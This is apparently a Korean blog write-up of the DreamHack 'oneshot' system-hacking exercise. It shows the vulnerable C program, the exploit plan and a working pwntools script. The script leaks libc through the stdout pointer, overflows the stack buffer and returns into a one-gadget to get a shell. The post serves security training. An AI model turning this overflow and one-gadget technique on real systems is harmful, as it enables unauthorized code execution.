본문 바로가기

DreamHack: System Hacking/F Stage 8

oneshot

소스코드

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if (check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

주의할 부분은 if문을 통해 check가 0보다 클 경우 프로그램이 종료된다는 것 하나다. 나머지는 크게 신경 쓸 부분은 없는 것 같다.

 

바이너리 보호기법

여기서 주의할 부분은 PIE가 적용되어 바이너리와 libc가 실행마다 랜덤한 메모리 주소에 적재된다는 것이다.

 

exploit 설계

1. printf("stdout: %p\n", stdout);을 통해 libc_base의 주소를 구하고 oneshot 함수의 주소를 구한다
2. read(0, msg, 46);를 통해 스택 bof를 일으켜 Return Address를 oneshot 함수의 주소로 overwrite 한다.

 

oneshot 함수 선택

main 함수를 leave 할 때 rax = 0x0인 것을 확인할 수 있다. 이는 0x45226의 oneshot 함수의 조건에 부합하므로 우리는 libc_base+0x45226의 oneshot 함수를 사용하면 될 것이다.

 

스택 구조

 

exploit(oneshot.py)

from pwn import *

p = remote('host3.dreamhack.games', 11475)
lib = ELF('./libc-2.23.so')

p.recvuntil('stdout: 0x')
stdout = int(p.recvn(12), 16)
libc_base = stdout - lib.symbols['_IO_2_1_stdout_']
oneshot = libc_base + 0x45226

payload = b'A'*24 + p64(0) + b'B'*8 + p64(oneshot)
p.sendafter('MSG: ', payload)

p.interactive()

 

여기서 if문(if(check>0) {exit(0)})을 우회하기 위해 check == 0이 되도록 payload를 설정했다.

ㆍ왜 libc_base로부터 stdout의 offset을 구할 때 lib.symbols['_IO_2_1_stdout_']를 썼는지는 https://jjeongsu.tistory.com/48의 글 마지막 부분 "주의할 점(libc base 구하기"를 참고하면 된다.

 

hook

소스코드 // gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(S

jjeongsu.tistory.com

 

'DreamHack: System Hacking > F Stage 8' 카테고리의 다른 글

hook  (2) 2023.07.01
[함께 실습] Hook Overwrite  (0) 2023.06.25
PIE & RELRO  (0) 2023.06.25